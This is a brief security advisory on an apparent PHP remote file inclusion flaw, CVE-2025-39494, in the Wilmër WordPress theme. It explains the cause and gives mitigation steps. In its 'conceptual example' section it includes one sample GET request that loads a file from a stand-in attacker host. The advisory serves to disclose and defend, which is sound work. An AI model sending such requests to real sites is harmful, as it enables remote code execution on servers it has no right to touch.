Overview
The cybersecurity community has recently identified a significant vulnerability, CVE-2025-39494, within Mikado-Themes Wilmër. This vulnerability presents a PHP Remote File Inclusion (RFI) threat, affecting a wide range of websites and applications that are built on this theme. PHP RFI is a critical issue as it allows an attacker to include remote PHP files, enabling the execution of arbitrary code. This can potentially lead to system compromise or data leakage, thus severely impacting the confidentiality, integrity, and availability of data and services.

How the Exploit Works
This vulnerability stems from an improper control of a filename that is used in an include/require statement in a PHP program. An attacker can manipulate these statements to include files from remote servers. As a result, the attacker can execute arbitrary PHP code on the server, leading to potential system compromise or data leakage.
Conceptual Example Code
The following conceptual example demonstrates how an attacker might exploit this vulnerability:
GET /vulnerable_page.php?file=http://attacker.com/malicious_file.txt? HTTP/1.1
Host: target.example.comIn this example, the attacker uses a GET request to the vulnerable page and modifies the ‘file‘ parameter to include a remote file from their server (`attacker.com`). The server would then fetch and execute the malicious PHP code from the remote file.
Mitigation and Prevention
To mitigate this vulnerability, vendors are advised to apply the latest patches or updates provided by Mikado-Themes for Wilmër. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability. Regular audits and code reviews can also prevent such vulnerabilities from arising in the first place. It is also recommended to disable or restrict the use of PHP’s include/require functions to prevent the inclusion of files from remote servers.
